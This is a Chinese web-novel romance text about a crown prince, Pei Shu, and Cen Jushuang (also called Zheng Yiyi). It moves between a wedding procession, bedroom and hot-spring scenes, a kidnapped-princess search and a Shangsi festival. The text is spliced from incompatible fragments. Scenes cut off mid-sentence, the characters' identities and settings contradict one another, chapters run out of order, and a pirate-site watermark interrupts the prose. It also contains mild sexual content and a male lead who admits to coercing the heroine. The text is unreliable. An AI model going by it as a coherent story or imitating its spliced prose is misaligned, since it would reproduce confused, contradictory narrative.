晚上,她睡不着,翻来覆去地想着,难不成他如此说,只是笃定了她定然不会做? 若是一开始只是试探,但被人如此低看,反倒激起了岑拒霜的好胜心。她什么学不会,怎么可能会被准备一顿膳食这么简单的活计所难倒。 不就是准备早膳么?很是简单。 次日,裴述卯时便醒了,走出内室时,他总会向屏风后面望过去那么一眼。 此刻光线昏暗,外面的天还没亮,但他透过纸似的屏风见后面似乎并没有人影。 他轻声喊,“郑伊伊?” 话音落下,里面没有一点儿声响,他走过去,果然榻上空荡荡的,只有叠的整整齐齐的被褥,旁边还放着她昨日换下的衣裙首饰。 若是她正常起来,他不至于反应迟钝,定会被她收拾,走路的声音吵醒。 他对她的防备心还没有那么低。 那便是,她很早起来了,走路估计匿了声音,怕被他发现。可他也不知为何,没发觉她走了,想到此处,他心中莫名焦急烦躁。 他并没想对她如何,离开漕县时,可给她一个归家的机会。他并没有强迫女子的想法,绝不会像他父皇那样卑鄙。 可她明目张胆地在他眼皮子底下跑了 。那么,不管她跑到何处,都会被他找回来。 他推开了门,因为怒气,没注意力道,推开的门扉与旁边相撞,发出了很大的哐当声响,旁边熟睡的罗南闻声立刻披上外衣走了出来。 却只看到裴述大步走过桂花树的身影,“殿下!”罗南喊道。 大门被悄悄打开一道缝隙,苍穹中仍有暗沉意,透过大门缝隙照了进来,仅有微弱的光亮,似乎要与深色的大门融为一体。 她当真跑了。 裴述控制不住地回想起往日,是她愿意,而且亲口说的心悦。 他面容隐有寒意,刚迈出门口,便见到旁边宋家大门前面有一个鬼鬼祟祟的女子身影,看那衣裙颜色样式当真眼熟得紧,还是他亲自选的。 “郑伊伊!滚回来。”他强忍着怒意,几大步上前,抓住了她手腕。 如今确实天还没亮,岑拒霜睡熟时讨厌被旁人吵醒,此刻同样也不想吵醒旁人,所以走路都是悄悄的。 裴述这么大声喊她,她被吓了一跳,惊讶地回头,见到裴述,下意识疑惑回了句,“郎君?” 两人此刻离得极近,即使天色仍然昏暗,可她眸中有亮意,此刻睁圆透着讶然,微张的唇,如此下意识的反应她应当没想跑。 也是,她没有那么蠢,如果跑的话早就走出很远,断断不会仍在门口徘徊,裴述已知是他误会了,深呼吸几瞬,说话时声音还是有些大,语气也有些生硬,“你去了何处?为何起得这般早?” 岑拒霜觉得他莫名其妙,不是他说让她备膳的么?怎么如今反倒问她。 再说,她不会,罗南看起来也不会好心教她,正好赵孺每日都会起来很早准备早膳,她才去赵孺家学的。 她起来得这么早也不容易,天没亮时走到院中时还有些困,最后硬是被院中冷风吹醒了。 但目前只能忍耐,岑拒霜挤出来一个笑,“我给郎君准备早膳啊。” 在她说话的时候,裴述便开始打量她,方才只顾找她,没得仔细去看,如今才看出,她面上还蹭着些后厨的黑灰,格外明显。 而且……他垂头,见到了她手上还提着一个小食盒,这都证明了她说的是实话,当真是起早,为了准备早膳。 裴述没接着说话,岑拒霜也反过来打量着他的面色,应当是真的生气了,想到方才他喊着的话,还有问她的…… 岑拒霜灵光一闪,有些吃惊地反问道:“郎君是以为……我走了么?” 虽然她之前真的在跑的时候被他抓到了,但今日真是个误会,她笑吟吟地看着他,等着他反应。 待平息完了这些事,岑拒霜才如释重负般松了口气,虚软的身形瘫在一旁的茶案上,指尖探着尚温的茶壶,给自己倒着温水。 男人立身她身侧,眼神幽沉,“你是怕孤都把他们杀了吗?” 岑拒霜不置可否,双手捧着茶盏小口抿着,也懒得侧过头去瞧他,“殿下,是您叫我‘出去’的,现在又是您紧追着我不放。” 从见到路边车厢里的那抹影子起,她便认出了男人是太子。 但她对这猫捉老鼠、你追我赶的戏码并不感兴趣,原本她就有怨气在先,索性一路无视追来的太子。若非担心太子在这小小的客栈大开杀戒,她还真不至于把这人人恐惧的杀星给带回客房里。 太子端看着她微微横起的翠眉,面上含着恼意,连着说话咬着那“出去”二字的字音都像是在学他那会儿的语气。 她还在生气? 太子躬下身,手持玉扇朝前,用扇骨轻轻挑起她的面容,动作极为轻佻。 岑拒霜被迫抬起头看着他,便见太子俯下身,望着她流露出不满的雪白面庞,移近的唇畔几近快要吻上她的脸颊。 “小骗子。” 第 60 章 气恼 盏灯如豆。 下巴被扇骨强行抬着往上,与他视线平视。 岑拒霜看着他近在咫尺的面庞,那半幅黑金面具尚在,冰冷的棱角贴合着他俊美无俦的轮廓,即便有着这一遮掩,她也全然能够想象出这面具下的神情,孤高,倨傲,不屑一顾。 听着他话中低低骂着的小骗子,她反问道:“我骗您什么了?” 明明是他想要赶她走,命令着她出去,怎的最后还赖她骗了他什么? 她岑拒霜没有自尊,是块任人揉捏、不会生气的软柿子吗?她甚至不知为何她要离开东宫,他便生气。在她看来,那里又不是她的家,离开是为天经地义,他有什么气可以生? 她都已经离开东宫半月有余了,如今他又来紧缠着她不放,是无聊了找不到取笑逗乐的对象,跑来拿她寻开心的么? 越是想着,本是平息了的怒意再度燃起,一发不可收拾。 时值五月廿六,蝉鸣夏至,烈日炎炎,长安城内却是人潮拥挤,沸反盈天。 “哎哟莫要挤,送亲队伍还没进来,挤个啥!” “你们听说了吗,此次肃王世子亲自送亲,那对双生姐妹花也一起来了!” “真的?早就听闻肃王家那对姐妹花,生得跟观音座下玉女般,也不知待会儿能不能瞧见?” 百姓们乌泱泱地挤在朱雀大街两侧,或拖家带口,或踮脚探头,“好歹是世家贵女,那幺女还是未来太子妃,岂会抛头露面,让咱们瞧见?” “说的也是,诶诶!快看,送亲队伍进城了!” 话音方落,伴随着一阵庄严肃穆的礼乐,飘着“肃”字的蓝底云纹旗迎风猎猎,一队身着银甲的兵将骑马而入,往后便是两顶高大华丽的轿辇,以及长长的仿佛一眼望不到尽头的嫁妆箱笼。 “乖乖隆滴咚!不愧是肃王爱女,这排场,这嫁妆,便是皇帝嫁女,也不过如此吧。” “嘘!这种话你也敢说,不要命了!” 谁不知道岑氏一族盘踞北庭、陇西,拥兵百万,威名赫赫,有功高盖主之嫌,乃是皇帝的一块心病。 不然皇帝怎会放着长安这么多如花似玉的贵女不挑,非得在那偏僻苦寒的北庭,选了个连模样品行都不知的小娘子做太子妃。 还不是想以秦晋之好,安抚岑氏,免得肃王拥兵自重,生出不臣之心。 此乃帝王制衡之术。 百姓们知晓,肃王世子和肃王长女也知晓,而华丽轿辇中,准太子妃岑拒霜正把小脸贴在冰鉴旁,娇美眉眼间满是幽怨:“阿姐,长安怎么这么热啊,我要热化了……” “现下才五月,听说六七月更热。” “啊?这么热,还要不要人活了!” “你当哪都像咱们北庭,那么凉快么?” 看着自家妹妹抱着冰鉴,仿佛一块即将融化的糯米年糕,肃王长女岑拒娓抬手,试图把她扒拉下来:“马上要当太子妃的人了,怎还像个小孩,快些坐好。” 拒霜可怜兮兮,“反正又没有外人,姐姐就让我再歪会儿嘛。” 见她一张白嫩俏脸热得绯红,拒娓也有些不忍心,“算了。” 她拿起帕子边替妹妹擦汗,边低低叹气:“你这个样子实在叫我不放心,不然……不然这桩婚事,还是我来吧?” “姐姐你别担心了,我可以的。”拒霜懒洋洋往冰鉴上蹭了蹭:“再说了,皇家娶媳是大事,又不是过家家,哪能说换人就换人。” 拒娓自然也拒白这个理。 只是看着妹妹天真烂漫的模样,不免有些愧疚。 八个月前,姐妹俩刚及笄,就收到了长安的贺礼,以及一封赐婚圣旨。 圣旨里只说选岑氏女为太子妃,并未指定是姐姐还是妹妹。 于是当晚,肃王一家围着圣旨,商量起来。 肃王沉着脸:“没想到过去这么多年,陛下还惦记着咱们家女儿。” 肃王妃蹙眉:“他和皇后不是生了个公主嘛,都是有女儿的人,他不忍让自己女儿远嫁,如何就舍得让别人家的女儿远嫁呢。” 肃王叹气:“如今圣旨已下,说这些也没用,你看娓娓和霜霜,选哪个嫁过去?” 肃王妃抹着泪:“皇宫那种吃人不吐骨头的地儿,咱们娓娓和霜霜,我哪个都舍不得!” 肃王知道妻子一片柔软慈母心,安抚一二,视线转向亭亭玉立的女儿们,“你们怎么想的?” 拒娓蹙眉:“我不嫁,我拒年开春还约了商队一同去波斯和大食呢。” 拒霜咬着唇,支支吾吾:“我……我……” 她看了看爹爹娘亲,又看了看哥哥姐姐,全家好像就属她最清闲。 姐姐是个算学天才,自幼就表现出惊人的经商天赋,一心效仿祖上那位有“大渊第一女商”之称的祖奶奶,打算去西域闯荡一番事业。 而自己呢,从小贪图享乐,唯一特长是丹青。 理想中的生活也是吃喝玩乐、看戏作画,再觅个好郎君,从此赌书泼茶、琴瑟和鸣,一生一世一双人,就像爹爹娘亲那样。 及笄之前,就有不少夫人上门提亲,她也暗中物色了好几个儿郎—— 譬如赵副都护家的小儿子,刘老将军家的小孙子,周长史家的次子……都是北庭当地的官宦子弟。 毕竟她从未想过远嫁,她就一辈子待在北庭,身边都是至亲至爱和熟悉的环境。 而这一切,都被这道突如其来的圣旨打破。 姐姐有远志,哥哥是男人不能当太子妃,那不就只剩下自己了么。 搭在膝头的细白手指紧了又松,松了又紧,拒霜深吸一口气,抬起小脸:“那就……我嫁吧。” 反正当太子妃,应当也可以吃喝玩乐,看戏作画? 且说当下,看着自家妹妹一派天真的小脸,拒娓心头酸涩,忍不住又问了遍,“霜霜,你会不会怪姐姐自私?” “不会啊,姐姐有自己的人生与抱负,怎么叫自私?至于我……” 拒霜从冰鉴旁直起腰,娇嫩脸颊还印着冰鉴雕花的红痕:“嫁谁不是嫁,何况太子哥哥身份尊贵,长得又好看,我嫁给他……唔,不吃亏!” 拒娓失笑:“你都没见到太子,怎么知道他好看。” 拒霜道:“我们四岁那回随爹爹阿娘来长安,不就见过他了?” 拒娓啧了声:“谁还记得四岁的事。” “我记得。” 拒霜托着雪腮,弯眸道:“太子哥哥可好看了,穿着锦缎袍子,头戴金冠,脖子上还挂了条长命锁,像画里的小仙童似的。” 拒娓倒没想到她连四岁的事都这么清楚,不过:“儿时好看,长大不一定好看,我劝你还是别抱太大期望。” 听到这话,拒霜有些忐忑了。 万一太子哥哥真的长歪了…… 不会不会,底子在那,便是再歪也不至于丑吧。 正自我宽慰着,仪仗忽然停下。 “到了吗?” 拒霜想去掀帘子,被拒娓拍了下:“别乱看,阿娘说长安规矩多,高门贵女万不可抛头露面。” 拒霜悻悻地收回手,“噢。” 拒娓清了清嗓子,问外头:“怎么停下了?” 车外的婢子回禀道:“回两位娘子,好像是太子殿下亲自来迎了!” 轿辇内的姐妹俩皆是一惊,面面相觑。 拒霜倾着身子,难掩兴奋地问,“那你可看到太子殿下生得什么模样?俊不俊俏?可有我哥哥好看?” 婢子答道:“隔着好些亲兵,奴婢瞧不真切,但太子殿下穿青袍,骑白马,瞧着和咱们家郎君差不多高呢!” “那真是巧了,我记得四岁那回见着他,他也是穿青袍呢。” 拒霜双眼亮晶晶的,又自顾自念叨:“哥哥身长近九尺,他和哥哥差不多高……哇,那也好高了!一白遮百丑,一高遮千丑,那他肯定不会丑了!” 拒娓:“……” 完蛋了,小花痴又开始了。 仪仗又前行了一刻钟,最后稳稳当当停在肃王从前在长安的旧邸。 姐妹俩在婢子的搀扶下,下了马车。 拒霜扶着头顶的帷帽,还有些不大适应,“姐姐,以后出门都要戴这个么?” 北庭靠近西域诸国,民风开放,女子出门很少戴这个。 “是,你老老实实戴着,别乱动。” 拒娓走到她身边:“这样大的太阳,戴这个也好,免得晒伤。” 拒霜抿了抿唇:“好吧。” 边扶正帷帽往前走,边好奇地朝前望去。 只见层层甲兵的最前头,赫然站着两道轩然霞举的颀长身影。 那着玄袍的,是自家长兄,岑拒霁。 至于另一道清雅的苍青色身影,想来便是她未来的夫君,那位贤名在外的太子殿下,裴述。 可惜是背对着,隔着朦胧的雾白轻纱,她只看到男子笔直如竹的背影。 拒霜实在好奇他的模样,脚步也不禁加快。 “诶呀,二娘子您小心……” 一声小小惊呼响起,婢子们赶紧去扶。 这动静,自也引得前头两位年轻郎君的回眸。 只见后侧轿辇旁,仆妇婢子们环绕着两位身姿窈窕的锦衣小娘子。 二人身形相仿,一个着烟粉裙衫,一个着淡紫裙衫,皆戴着帷帽,瞧不清模样。 然就眼下而言,那烟粉裙衫的走路都能绊到,未免太过娇弱,有失端庄。 也不知这个是姐姐还是妹妹? 太子负手而立,若有所思。 一旁的肃王世子岑拒霁见状,讪讪道:“叫殿下见笑,二妹妹估计是坐太久的车,一时腿麻才不慎绊倒。” 太子黑眸轻眯:“粉裙的是二娘子?” “对,着粉裙的是我二妹妹,拒霜。旁边着紫裙的是大妹妹,拒娓。” 岑拒霁笑道:“殿下幼年见过她们的,只是时隔多年,如今长大变了模样,怕是也认不出了。” 太子扯了下唇角,不置可否。 岑拒霁察言观色,忙不迭抬手:“殿下里边请。” 太子嗯了声,视线从那道娇小身影挪开,提步跨进王府大门。 想衔着这指骨,舔至袖中藏着的细白腕子。 岑拒霜自是注意到了他眸中浮现的热意,故作不知地埋头抹着面脂。 待做好这些,她收整好手边的东西,不着痕迹地问道:“那你什么时候回京城?” 便见太子冷了脸,语气里很是不满,“孤没说走。” 岑拒霜对此早有预料。 看吧,这人适才还乐着呢,这会儿又不高兴了。 她直言对太子说道:“我这小庙容不下太子殿下你这尊大佛。” 前去沥城的路途遥遥,带着难伺候的太子,无疑是自找麻烦,谁知他什么时候高兴,什么时候不高兴? “还在生气?” 太子微眯着眼,凝睇着她的神色变化,蓦地抓住了她细柔的手腕。 “不如,你打孤一巴掌。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 60-70 第 61 章 就寝 岑拒霜看着自己被太子捏住的手腕,她细柔的五指近在他妖冶的面颊旁,她甚至能感受到他鼻尖呼出的热意,徐徐缓缓地淌在了她的手腕,像是一根柔软的羽毛轻轻拂动着,摩挲着她的表皮。 打他一巴掌? 岑拒霜听罢,气不打一处来,先不论打他一巴掌能不能解气,单凭着自己和他痛感相通,这和打了她自己有什么区别? 瞥见太子眼角含着的兴意,岑拒霜正想抽手而出时,却见那道薄唇蓦地凑近她手心。 太子吻在了她的手心。裴瑶咬了咬唇,道:“对不住。” 许兰君愕然:“小殿下为何这样说?” 裴瑶道:“我不该不打招呼就偷溜出来,害你担心。” 许兰君眸光柔了,语气也放软:“小殿下若是下次想来找太子妃玩,大大方方地去,这大热天的你连轿子都没乘,一个人跑这么远,多热多累呀。” 她这般温声细语,裴瑶迟疑片刻,还是决定与她说实话:“我是怕你知道我来寻嫂嫂,会觉得我是个小叛徒。” 许兰君怔了下,待拒白小公主的意思,心下又涩又软。 她蹲下身,神色柔婉:“太子妃是你的嫂嫂,你与她亲近是好事。至于从前那些玩笑话,殿下莫要再多想。臣女已经与梁家郎君定了亲,拒年就要与他成婚了。” 裴瑶眨眨眼:“那兰君姐姐你……你不喜欢我皇兄了吗?” 许兰君面色微变,环顾左右,压低声音:“这种话殿下日后千万别再说了,对臣女、对太子、对太子妃都不好。” “我知道,所以偷偷问你呢。”裴瑶人虽小,但长在宫里,也知许多事得顾忌。 许兰君垂了垂长睫,再次抬眼,她轻笑:“太子和太子妃才是天生一对,殿下方才不是瞧见了么,咱们还没走出殿内,你皇兄就牵住你嫂嫂的手了。” 那样矜持守礼的一个人,有朝一日竟会主动去牵女子的手。 如何不叫人羡慕呢。 裴瑶想到方才那一瞥,恍然点头:“是哦,皇兄一向不喜与人亲近的,看来他也很喜欢嫂嫂!” 许兰君扯扯嘴角,牵住小公主的手:“我们快走吧,教音律课的李侍郎脾气不好,迟了怕是要挨训了。” 当日夜里,小公主和帝后一起用膳,照往常叽叽喳喳分享起她这一日都做了些什么,自然也包括溜去东宫的事。 “……我可太喜欢新嫂嫂了,她长得仙女样漂亮,还会陪我打双陆!对了,她还说她带了北庭的厨子,可以给我做北地的吃食。” 裴瑶绘声绘色说着,包括自家皇兄牵嫂嫂的手也说了:“皇兄羞羞脸,我和兰君姐姐都没走远呢,他也不避着些。” 说着,她想到什么,朝自家父皇嘻嘻笑:“我知道了,皇兄是和父皇学的!” 父皇也总爱牵母后的手,好几回她还撞见父皇抱着母后要亲亲。 听到小女儿的童言无忌,皇后赧然,没好气斜了皇帝一眼。 永熙帝倒是一脸坦然,夹了块樱桃肉放进女儿碗中:“好好吃你的饭。” 又夹了块排骨到皇后碗里,温声道:“阿妩也吃,今日御膳房这道排骨烧得很是不错。” 一顿晚膳用完,皇后校考过小公主今日所学,便去沐浴。 永熙帝陪着女儿下了两盘棋,待皇后沐浴回来,便令人将女儿带去侧殿。 “阿妩。”永熙帝走到皇后身边。 刚要贴近,便被皇后推开:“和你说过八百遍,如今孩子们都大了,当着他们的面得多避讳些,你倒好,叫女儿那样说,你羞不羞?” “这有什么好羞的,父母恩爱是好事,他们该当以咱们为榜样。” 永熙帝说着,揽住皇后纤细的腰,“你看,述儿不就受到我们的熏陶,都知道牵小姑娘的手了。” 皇后嘴角一抽,刚想开口,永熙帝将她的手握在掌心,细细把玩:“先前你还怪我乱点鸳鸯谱,现下连瑶瑶都说了兄嫂恩爱,你尽可放心了。” 她还没来得及从这遭逢的热度里反应过来,湿黏而灼热的舌尖舔在了她的手心,他缘着她掌心的纹路极缓地探究着,如同一根蘸了墨的毛笔,在她柔嫩的掌中勾勒写画着错杂的线条,一下接连一下。 岑拒霜只觉手心里的酥痒霎时直抵心口,他唇畔的湿沉,他灼烈的温度,反复流连在她手掌的每寸。 太子自她的乌发往下,揽过她的肩膀,发热的指节掠过她薄薄的寝衣。 岑拒霜当即拒绝,“不要,我家丫鬟还在边上呢。” 太子顿了顿动作,戏谑的目光越过她的身后,“你确定,她能听见?” 流岚就睡在了她边上的地面,此刻那渐重的平缓呼吸传来,丝毫没有因二人在榻上交谈而被吵醒,反是有着极小的鼾声此起彼伏,浑然一副睡得非常沉的模样。 岑拒霜:“……” 夜色漫漫里,窗外更漏声一下接连一下,他的指尖循着她清凉的寝衣掠过,游走在看不见的棉被之下,岑拒霜只觉腰间被他攥住,他搂着她往前一靠,让她整个身形能够贴合着他。 岑拒霜本是有些酸胀发疼的小腹舒坦了不少,她这才知悉,太子抱她是为了给她减轻月事疼痛的前兆。 可不知为何,许是肚子还疼痛到以往的地步,太子揉捏着她的小腹,她觉着那等奇异的感觉再度涌了上来,与之前她不慎抓着太子的手摸到自己衣襟下时一致。 第 62 章 同行 岑拒霜觉得困惑,她说不出来是什么样的感觉。 寂寂漆夜里,被剥夺了视觉的凭靠,其余感官变得敏锐起来。她不知该如何形容,仿佛身躯里有着一股东西不受她掌控,酥酥麻麻的,在他指尖揉搓间变作了一汪软却的水肆意涌动。 岑拒霜记得,那时她问宁妍男女之事究竟是什么感觉。毕竟她瞧着春宫图上的各种姿势,无非是两道褪去衣裳的身影来来回回地贴合着,即便她细看之下心生羞涩,也难以想象这是有什么奇特的感官,引得他们如此耽于其中。 可宁妍笑得神秘,三缄其口,只是告诉她,要她自己去求得答案。 此间发烫的感觉浮至脸颊,蔓延至浑身各处,岑拒霜本能地想要避开,她低声说着,“我…我不要了。” 太子察觉她正抓着自己的指节往外轻轻推着,“怎么?” 皇后静静看着面前的俊美青年,一晃眼,当年襁褓里孱弱的小婴孩,而今成了个挺拔高大的儿郎。 更成了其他小姑娘的夫君。 当真是岁月不饶人。 心底唏嘘一阵,她搁下杯盏,看向太子:“太子妃嫁进东宫也有五日了,你与她相处得如何?” 裴述来时便猜到原因,如今听到母后发问,平静答道:“还好。” 皇后挑眼看他,也不再弯弯绕绕,开门见山:“若是还好,为何迟迟未全大礼?” 裴述握着杯盏的长指微拢,抿唇不语。 “你如今大了,这些事本不该我问。但拒霜是我和你父皇的故人之女,你父皇下旨为你求娶她时,还特地附上一封私函,再三与肃王夫妇保证会将拒霜当女儿来看,绝不叫她受委屈。我与你父皇曾受过肃王夫妇恩惠,自是要信守承诺,善待他们的女儿。” 皇后凝眸,看向裴述:“人家好好的女儿嫁你为妻,你却叫她独守空房,这要是传出去,你叫外人如何想她?又叫宫外的岑家兄妹作何想法?” 裴述默然一阵,开口道:“儿臣并无冷落太子妃之意,只是……” 皇后:“只是什么?” 看着皇后满是关怀的脸庞,裴述薄唇轻动两下,最后还是低下头:“母后说得极是,儿臣会尽快与太子妃全了礼数。” 皇后闻言,柳眉轻蹙,静了一会儿,道:“我寻你来,并非逼着你与拒霜亲近。只你得知道,她如今是你的妻,你既娶了人家,总得好好待她,遑论她小小年纪,离乡背井,多有不易。你想想,若是瑶瑶有一日也远嫁他乡,被她夫君如此冷待,你知道了气不气?” 裴述眉心轻折,须臾,颔首:“母后教诲的是。” 皇后:“……” 深深吸了口气,她放缓语气,试探道:“你是对这桩婚事不满,还是拒霜哪儿得罪了你?此处就你我母子二人,你尽可与我实话实说。” 裴述面色沉静,搁下茶盏:“婚姻大事,父母之命媒妁之言,儿臣不敢不满。至于太子妃……” 眼前闪过那张一团天真的娇媚小脸,他语气稍淡:“她既已入东宫,便是儿臣之妻,儿臣会与她相敬如宾,和平相处。” 皇后听出来他话中意思,美眸眯起:“你不喜欢她?” 裴述道:“她是儿臣的妻子,儿臣会敬她。” 皇后凝噎,道:“只敬不爱?还是你有旁的心仪之人?” “儿臣并无心悦之人,只帝王之爱,应当予以社稷江山、天下百姓,岂可耽于私情?” 稍顿,裴述头颅垂得更低:“还请母后见谅,儿臣无心情爱,只想做个贤德君主,福泽天下百姓,开拓我朝疆域,庇佑我大渊后世千秋万代。” 皇后:“………” 儿子胸有大志,一心为公,她能说什么呢。 只她隐约觉着他是受到她与皇帝的影响,才会如此排斥男女情爱之事。 有心询问,却又难以启齿。 沉默良久,她抬眼道:“你心怀天下乃国之幸事,我也知男女之事,须得你情我愿,旁人强求不得,但她既已嫁你为妻,你为人夫婿,也得担起责任,莫要轻慢人家。” 稍顿,又补道:“哪怕看在她岑氏一门为国戍边的赫赫功绩份上,切莫寒了忠臣之心。” 随后两位哥哥没再多问。 及入了城,再次踏入儿时故地,岑拒霜看着一景一物,黄土筑起的厚重城墙下,高高矮矮接连不断的屋檐间,挽着红的绿的白的篷布,有棱有角的彩窗分明,小贩夹杂着口音的叫卖声此起彼伏,还有城外漠上驼铃声响阵阵。 她倍感亲切,除去战时她随父母住在军营,她的稚龄时光大多数在沥城度过。 一路风尘仆仆,浑身骨头酸痛不已,岑拒霜回到从小住的小院子后,便迫不及待地往旁处的温泉而去,甚至等不及还在为她收拾着东西的流岚。 成片的胡杨林围着的低洼之地,清幽的池子冒着茫茫白雾,丝丝缕缕的热意很快打湿了发梢。这温泉算不得深,儿时娘亲时时带她来这里泡澡,说是可以强身健体。 她三两下褪去衣衫,赤足踏入发热的温泉里。 适宜的水温舒缓着她的皮肉,岑拒霜满足地抬起胳膊,一下下晃漾着水面涟漪,一时玩心忽起,她缘着池边泉石徐徐游动着。 却是转过泉石一角,她瞥见远处男人光裸的背影乍现。 第 63 章 水中 沥城的夜向来到得很晚,又逢初秋时节,此间仍然明明如昼,被沙尘吹黄的日光透过胡杨林,晃动的枝影掠着粼粼的温泉池水。 岑拒霜抬眼之时,视野里猝不及防地撞入一个高大的背影,那背影宽厚如难移的山岳,背部肌肉线条极为流利,正往下渗着透明的水珠,滴滴嗒嗒地跌入满是热雾的水面,恍有一瞬,她觉着水面的热雾尽数拥来。 太子闻声回过头来,望着怔在原地的岑拒霜。 两人视线顿时交错,他瞧见她平日里略显病态苍白的脸庞泛着粉色,四周缭绕的水汽沾满了她的眉眼与垂落的发丝,濯得极为清丽。往下白得发光的娇嫩皮肤盈着迷蒙的白雾,将那姣好的身姿晕得影影绰绰。 顷刻间,温泉里陷入诡异的寂静,唯有周处风吹胡杨的沙沙声响,与水波晃动的轻微动静。 “啊啊啊——”“什么!?”一听到公主二字,赵净君也连忙转过头去看。 她们公主已经丢了快一月了,她那个娇纵得可爱,受不了一点委屈的公主竟然被赵姬丢了! 纵使赵姬是赵净君的亲姑母,赵净君也不耻其争权夺势,暗下杀手的种种恶行,更是一心向着岑拒霜。 可岑拒霜不信,赵姬才是赵净君的嫡亲姑母,血浓于水,怎会平白偏帮她一个外人? 确实,身为赵姬的侄女,赵净君总能更快打探到赵姬身边的消息,在岑拒霜丢后第二日就得知此事,她立即动身,赶来东淮。 她又买通了赵姬的侍女,打探到岑拒霜大概被丢在漕县这片。 但很可惜,折袖只是一瞬的动作,待赵净君望过去时,岑拒霜已经转过了身。 赵净君见背影也很熟悉,毕竟那是她的公主,就与凌徵立于原地,仔细看下去。 与旁人相比,岑拒霜未戴翡翠,未珥明珠,但体貌轻洁,立于洛水边。风至衿带起,于裴述侧,飘摇不可止。 她渐近裴述旁边,舞姿已停,在众人的歌声中,俯身牵住了裴述的手,将兰花及兰草放入他手中,随后,盈盈而笑。 像最平常的女娘,邀心悦的郎君那般,岑拒霜言字轻柔,“郎君,可否共赴欢愉?” 女娘兰情蕙盼,明眸善睐,言论却大胆,令人……心旌摇荡。 一瞬就晃了人眼。 许多人围着,见此纷纷笑着起哄,民风和乐,小娘子都如此主动邀约,郎君怎能羞羞答答的。 很快就有好事、胆大的郎君嚷了一声,“快些回答我们女娘,此处还有许多心悦女娘的人等着呢。” 裴述抬眸,睨了说话的人一眼,对方被其冰冷的眼神看得心里发虚。但今日万民同欢,不分贵贱,所以很快就有更多这样的声音涌出来。 他亦看清了,果真如方才那男子所言,岑拒霜此举吸引了不少目光,有惊艳、亦有不怀好意的眼神。 裴述又看岑拒霜,她笑得甜甜,站在他一步远处,稍稍仰着头,一眼不眨地盯着他瞧,等着他回答,眸中细碎透露着丝丝戏谑。 天真得有些傻了,不知人心险恶。 他走上前,将岑拒霜拉到身后,遮住了那些觊觎的视线,众人纷纷欢呼,此处变得热闹极了,又有新的小娘子起舞邀心上的郎君一同。 两人渐渐被挡住,洛水对面也望不见岑拒霜身影了。 赵净君压根就没见到女子面容。 洛水本来隔得就远,水旁的灯笼还扰人视线,她只模糊地见到跳舞女子心上郎君的样貌,长得倒合她们公主心意。 但她们公主与温郎君才是一对,郑后还在世时,公主就与温郎君定下了娃娃亲。 赵净君也知,公主对温郎君没什么情谊,但温郎君是温相的独子,为了她弟弟,太子的位置能稳固,没拒绝过温郎君的示好。 虽然岑拒霜不大信任赵净君,但两人差不多大,岑拒霜也没什么玩伴儿,她还是公主伴读呢。 所以赵净君知晓,她们公主其实喜欢这种气质温雅端净的男子,每次遇到这类型的都会多看两眼。 但更重要的是,她的公主才不会如此随意。往日岑拒霜还曾经与赵净君吐槽过,这般不矜持的邀约,有失风度。 公主亦不喜上巳人多聚在一起的习俗,只觉杂乱无章,万一有人不小心冒犯了公主玉体,又如何是好。 故而,赵净君转头,看身旁的凌徵,“你说……那是咱们公主?” 凌徵也觉不像,隔得这么远,其实他看得也不算真切,此刻搔了搔头,对赵净君笑得心虚,“好姐姐,应是我看错了。” 就是这小子心不诚,没好好找,被她抓到了,才胡诌出个由头。 赵净君伸手就是一下。 “诶呦!”凌徵捂着被狠狠打过的脑袋,又听耳边恨铁不成钢的抱怨,“亏你个小兔崽子,还是伊伊亲自提拔上来的暗卫,连个人影都能看错,能不能上点心?咱们公主已经丢了一月了!” 一月,对一个弱女子来说,属实有些凶多吉少了。 此话一出,两人都有些失落,凌徵也真心忏悔,垂着头,呐呐道:“公主……到底何时才能找到啊……” 他年纪确实小,此刻想起岑拒霜,全然忘记了她不好伺候,对他要求甚多的坏。只记得她将他捡回来,又提拔他的恩情,声音都带上了哭意。 然后,他又被赵净君打了一下,“有功夫在这儿矫情,还不快接着和我一起找!?” “哦……”凌徵捂着头,跟着赵净君走远,离开洛水前,他转过头,又往姝丽女娘那处望了一眼。 那一瞬的侧脸,真的很像公主。两人如今已经远离喧闹的洛水,裴述又抬步,随着人潮一起走,岑拒霜当然也跟上,却一直望他,等着他回答,她是真的十分好奇此事。 “没有。” 说出这两字,裴述便后悔了,他也不知高家郎君到底有没有,但此刻,下意识就说了实话,也不想说有来骗她。 没错,果然没错…… 瞧他差不多过了成冠之礼,竟然连个子嗣都没有。岑拒霜更是肯定他是断袖,既如此,之后的话也就好说出口了,反正都是假的。 她笑道:“那郎君与伊伊一起,去郊禖祈福,可好?” 裴述停下,回过头来,看着笑靥如花的女子,目光沉沉。 郊禖也于水滨旁,也是一种祈福的仪式,但与洛水旁小娘子和郎君的春嬉不同。 那里,是夫妻的求子之处。 他喉间滚动,子嗣,他厌恶子嗣,就如他母后厌恶他那样,许多先郭后对他恶毒的咒骂响起。 “你身上的血是脏的,就是个杂种、不配活着,是你、是你毁了我!” 缠绵病榻的皇后,瘦得只剩一把骨头,早就失了名动两国的美貌,阴毒地盯着她的儿子,仿若那是最痛的附骨之疽,“若能选择,我绝不会生下你。” 裴述呼吸变得些许乱,尽力才能忘记从前万般过往,他看着岑拒霜,沉声道:“为何,为何要与我一起去?” 岑拒霜发觉他的异常,但不知为何,话已说出口,为了彰显诚意,她顺着说道:“因为我是郎君的外室啊,自然情愿与郎君一起。” 裴述喉间呵出一声,根本不相信,他视线却从未移开岑拒霜面容上,要看清她面上每个细微的表情。 转瞬,他又恢复了往常的平静,感到嘲讽至极,看着岑拒霜,他嘴角勾起几分,轻蔑地笑道:“情愿?我强迫于你,你竟然能说出情愿二字?倒是……可笑。” 岑拒霜为了离开,当真是付出良多,此刻闻声,面上维持得再好,笑得也有几分尴尬。 强迫?他倒也知是强迫,但她恍若被如此伤人的话语,刺激到,言语也滞涩起来,“因为……伊伊心悦郎君,才会情愿。” 一切像是真的般。裴述盯着她,不冷不热地说出两个字,“骗子。” 说罢,他便朝着小院的方向大步离开,岑拒霜也不知他到底是如何想的,但总觉再努力一下就能离开了,所以追着跑上去,“郎君、郎君,你年岁也不小了,当真不去求求么?” 两人回到小院时,罗南子弦还没回来。自从岑拒霜说完那番话,裴述就没再给过她一个正眼,甚至倒比原来更避着她了。 岑拒霜一时有些琢磨不透,因为心中有着那个怀疑,所以将他所作所为都往上推测。 可能是他好不容易遇到个她这样“真心实意”的女子,有些许心虚亏欠。 